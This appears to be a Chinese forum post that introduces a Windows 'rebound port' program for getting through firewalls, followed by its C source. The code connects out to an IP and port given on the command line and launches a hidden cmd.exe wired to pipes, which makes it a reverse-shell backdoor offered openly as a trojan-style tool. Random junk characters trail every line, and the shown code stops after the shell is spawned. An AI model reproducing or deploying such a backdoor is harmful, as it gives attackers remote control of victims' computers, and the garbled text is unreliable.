这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 o;"OSp
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/* ============================== c47")2/yO
Rebound port in Windows NT _STB$cZ
By wind,2006/7 }H4=HDO
===============================*/ /T^ JS
#include 8qi+IGRg
#include ;32#t[ib
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#pragma comment(lib,"wsock32.lib") et,GrL)l
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void OutputShell(); egR9AEJvz
SOCKET sClient; 3LR p2(A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a>4uiFiv
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void main(int argc,char **argv) >>[/UFC)n
{ QlFZO4 P3|
WSADATA stWsaData; B
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int nRet; #0I{.Wy]
SOCKADDR_IN stSaiClient,stSaiServer; fHrt+_Zn|
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if(argc != 3) <O?y-$~
{ FFhtj(hVgc
printf("Useage:\n\rRebound DestIP DestPort\n"); 5 v^yQ<70
return; )o1eWL}
} :H6FPV78
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WSAStartup(MAKEWORD(2,2),&stWsaData); F1;lQA*7K.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r,SnXjp@
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stSaiClient.sin_family = AF_INET; ~jU/<~s
stSaiClient.sin_port = htons(0); $FH18
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); U8#xgz@
5 /",<1
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9DQ)cy
{ Op.8a`XLt&
printf("Bind Socket Failed!\n"); w"m+~).U
return; hjZ}C+=O
} kEeo5XN
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stSaiServer.sin_family = AF_INET; )CPM7>
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); S|V4[ssB
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \e=_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {3a&1'a0g
{ ~8 H_u
printf("Connect Error!"); h<<>3 A
return; MfF~8
} Y&H}xn
OutputShell(); C-eA8pYY/
} PupM/?57
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void OutputShell() z2gk[zY&
{ gbOpj3
char szBuff[1024]; s>_V
SECURITY_ATTRIBUTES stSecurityAttributes; &adI (s~
OSVERSIONINFO stOsversionInfo; 5FVndMM#y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "|Fy+'5}
STARTUPINFO stStartupInfo; ] H~4
char *szShell; DDT_kK;
PROCESS_INFORMATION stProcessInformation; -hcS]~F
unsigned long lBytesRead; l:;PXy6)
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~9^)wCM+
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K`&oC8p
stSecurityAttributes.lpSecurityDescriptor = 0; k NqS8R|
stSecurityAttributes.bInheritHandle = TRUE; `/ ]Th&(5
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \XDc{c]
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #rZF4>c
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kU uDA><1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +?"N5%a%F
stStartupInfo.wShowWindow = SW_HIDE; ;. jnRPo";
stStartupInfo.hStdInput = hReadPipe; b{T". @b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >q W_%
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GetVersionEx(&stOsversionInfo); QuG=am?l`
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switch(stOsversionInfo.dwPlatformId) <'s_3AC
{ J\7ukm"9
case 1: ahezDDR-.i
szShell = "command.com"; S
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break; pPI'0x
default: .MNi)+
szShell = "cmd.exe"; 4sU*UePr
break; DeqTr:
} rHS;wT
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); NBLiwL37{
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